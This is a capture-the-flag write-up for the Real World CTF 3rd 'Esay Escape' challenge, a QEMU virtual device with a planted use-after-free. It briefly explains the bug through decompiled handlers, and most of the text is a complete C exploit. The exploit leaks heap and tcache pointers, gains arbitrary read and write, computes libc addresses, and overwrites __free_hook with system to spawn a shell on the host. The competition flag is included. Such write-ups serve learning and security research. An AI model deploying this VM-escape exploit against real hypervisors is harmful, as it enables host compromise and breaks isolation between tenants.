Real World CTF 3rd - Esay Escape

Real World CTF 3rd - Esay Escape

Qemu with a preset vulnerability.

Hint

Just have fun and enjoy the game. 🙂

Running environment: Ubuntu 20.04

nc 13.52.35.2 10918

vulnerability

Thanks for the tips from Master remilia, or not I can't find the loophole at all.

void __cdecl handle_data_read(FunState *fun, FunReq *req, uint32_t_0 val)
{
  if ( LODWORD(req->total_size) && val <= 0x7E && val < (LODWORD(req->total_size) >> 10) + 1 )
  {
    put_result(fun, 1u);
    dma_memory_read_9(fun->as, (val << 10) + fun->addr, req->list[val], 0x400uLL);
    put_result(fun, 2u);
  }
}

void __cdecl handle_data_write(FunState *fun, FunReq *req, uint32_t_0 val)
{
  if ( LODWORD(req->total_size) && val <= 0x7E && val < (LODWORD(req->total_size) >> 10) + 1 )
  {
    put_result(fun, 1u);
    dma_memory_write_9(fun->as, (val << 10) + fun->addr, req->list[val], 0x400uLL);
    put_result(fun, 2u);
  }
}

void __cdecl put_result(FunState *fun, uint32_t_0 val)
{
  uint32_t_0 result; // [rsp+14h] [rbp-Ch] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  result = val;
  dma_memory_write_9(fun->as, fun->result_addr, &result, 4uLL);
}

To be honest, the put_result function has always been ignored by me, and I've always thought of it as the ordinary puts.

put_result that can also trigger delete_req will lead to illegal writing after deleting in handle_data_read and illegal reading after deleting in handle_data_write, just need to make fun->result_addr point to physical memory of the mmio device.

EXP

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <unistd.h>

void print_hex(unsigned char *addr, int size, int mode)
{
    int i, ii;
    unsigned long long temp;
    switch (mode)
    {
    case 0:
        for (i = 0; i < size;)
        {
            for (ii = 0; i < size && ii < 8; i++, ii++)
            {
                printf("%02X ", addr[i]);
            }
            printf("    ");
            for (ii = 0; i < size && ii < 8; i++, ii++)
            {
                printf("%02X ", addr[i]);
            }
            puts("");
        }
        break;

    case 1:
        for (i = 0; i < size;)
        {
            temp = *(unsigned long long *)(addr + i);
            for (ii = 0; i < size && ii < 8; i++, ii++)
            {
                printf("%02X ", addr[i]);
            }
            printf("    ");
            printf("0x%llx\n", temp);
        }
        break;
    }
}

char *mmio_mem;
size_t mmio_result;
#define MMIO_WRITE(addr, value) (*((uint32_t *)(mmio_mem + (addr))) = (value));
#define MMIO_READ(addr) (mmio_result = *((uint32_t *)(mmio_mem + (addr))));

char *get_phys_addr(char *vir_addr)
{
#define PFN_MASK ((((size_t)1) << 54) - 1)

    int fd = open("/proc/self/pagemap", O_RDONLY);
    if (fd == -1)
    {
        perror("open");
        exit(EXIT_FAILURE);
    }
    size_t vir = (size_t)vir_addr;
    // 0x1000 gets the n of the nth page, because a record data is 8 bytes, so *8, it is the offset of the record of the page in the file
    size_t offset = vir / 0x1000 * 8;
    if (lseek(fd, offset, SEEK_SET) == -1)
    {
        perror("lseek");
        exit(EXIT_FAILURE);
    }
    size_t addr;
    if (read(fd, &addr, 8) != 8)
    {
        perror("read");
        exit(EXIT_FAILURE);
    }
    addr = (addr & PFN_MASK) * 0x1000;
    return (char *)addr;
}

int main()
{
    int mmio_fd, fd;
    char *userspace, *pic_addr = NULL, *addr, *control_addr, *tcache, *Req;
    char buf[0x100], tcache_raw[0x400], base64_buf[0x1000];
    char *image_base, *puts_addr, *system_addr, *libc_addr, *__free_hook;

    setbuf(stdout, NULL);

    // Open and map I/O memory for the string device
    mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
    if (mmio_fd == -1)
    {
        perror("open");
        exit(EXIT_FAILURE);
    }

    /* Get PCI physical address */
    fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource", O_RDONLY);
    if (fd == -1)
    {
        perror("open");
        exit(EXIT_FAILURE);
    }
    memset(buf, 0, sizeof(buf));
    read(fd, buf, sizeof(buf));
    close(fd);
    sscanf(buf, "%p", &pic_addr);
    printf("PIC address: %p\n", pic_addr);

    mmio_mem = mmap((void *)0xabc0000, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);

    if (mmio_mem == MAP_FAILED)
    {
        perror("mmap");
        exit(EXIT_FAILURE);
    }

    userspace = mmap((void *)0x1230000, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    memset(userspace, 0, 0x1000);

    printf("mmio_mem: %p\n", mmio_mem);
    MMIO_WRITE(0, 0xbff); // size -> 0xc00
    MMIO_WRITE(0x14, 0);  // malloc

    printf("phys: %p\n", get_phys_addr((char *)userspace));

    MMIO_WRITE(0x4, (size_t)get_phys_addr(userspace)); // addr
    MMIO_WRITE(0xc, 0);                                // index

    MMIO_WRITE(0x8, (size_t)pic_addr + 0x18); // To trigger delete_req
    memset(userspace, 0, 0x1000);

    /* Use tcache_entry->key to leak tcache information and find opaque->req */
    MMIO_READ(0x10); // illegal reading after deleting
    // print_hex(userspace, 0x400, 1);              // delete after read
    Req = *(char **)(userspace + 0x80 + 0x3f * 8); // tcache_chunk->size = 0x410
    printf("Req: %p\n", Req);
    memcpy(tcache_raw, userspace, 0x400);

    /* The principle is the same as above */
    MMIO_WRITE(0, 0xbff);         // size -> 0xc00
    MMIO_WRITE(0x14, 0);          // malloc
    MMIO_WRITE(0xc, 1);           // index
    memset(userspace, 0, 0x1000); // initialize buffer
    MMIO_READ(0x10);              // illegal reading after deleting
    // print_hex(userspace + 0x400, 0x40, 1);   // delete after read

    tcache = *(char **)(userspace + 0x400 + 8);
    printf("tcache: %p\n", tcache);

    /* Hijack tcache_entry->next to form a loop chain by illegal writing after deleting. */
    MMIO_WRITE(0, 0xbff);         // size -> 0xc00
    MMIO_WRITE(0x14, 0);          // malloc
    MMIO_WRITE(0xc, 1);           // index
    memset(userspace, 0, 0x1000); // initialize buffer

    *(char **)(userspace + 0x400 + 0) = Req;    // double link
    *(char **)(userspace + 0x400 + 8) = tcache; // tcache
    MMIO_WRITE(0x10, 0);                        // illegal writing after deleting

    /* Then we can Read and write at any address. */
    MMIO_WRITE(0, 0xbff); // size -> 0xc00
    MMIO_WRITE(0x14, 0);  // malloc
    MMIO_WRITE(0x8, 0);   // disable the vulnerability

    /* set address */
#define SET(address)                               \
    memset(userspace, 0, 0x1000);                  \
    *(int *)(userspace + 0x800 + 0) = 0xbff;       \
    *(char **)(userspace + 0x800 + 8) = (address); \
    *(char **)(userspace + 0x800 + 0x10) = 0;      \
    *(char **)(userspace + 0x800 + 0x18) = Req;    \
    MMIO_WRITE(0xc, 2);                            \
    MMIO_WRITE(0x10, 0);                           \
    MMIO_WRITE(0xc, 0);

    /* read memory */
#define READ(address) \
    SET((address));   \
    MMIO_READ(0x10);

    /* I can only search memory addresses everywhere, but fortunately, there are many relative addresses of the program. */
    printf("find: %p\n", *(char **)(tcache_raw + 92 * 8));
    READ(*(char **)(tcache_raw + 92 * 8));
    // print_hex(userspace, 0x400, 1); // show

    addr = *(char **)(userspace + 108 * 8);
    printf("find: %p\n", addr);
    READ(addr);
    // print_hex(userspace, 0x400, 0); // show
    image_base = addr - 0x6761b0;
    printf("image_base: %p\n", image_base);

    addr = image_base + 0x100DD38;
    READ(addr);
    puts_addr = *(char **)userspace;
    printf("puts_addr: %p\n", puts_addr);

    libc_addr = puts_addr - 0x875a0;
    system_addr = libc_addr + 0x55410;
    __free_hook = libc_addr + 0x1eeb28;

    /* getshell */
    SET(__free_hook - 8);
    strcpy(userspace, "/bin/sh");
    *(char **)(userspace + 8) = system_addr;
    MMIO_WRITE(0x10, 0); // dma_read
    MMIO_WRITE(0x18, 0); // delete

    puts("end");

    return 0;
}
/* rwctf{OhhohohO_yoU_Got_mE} */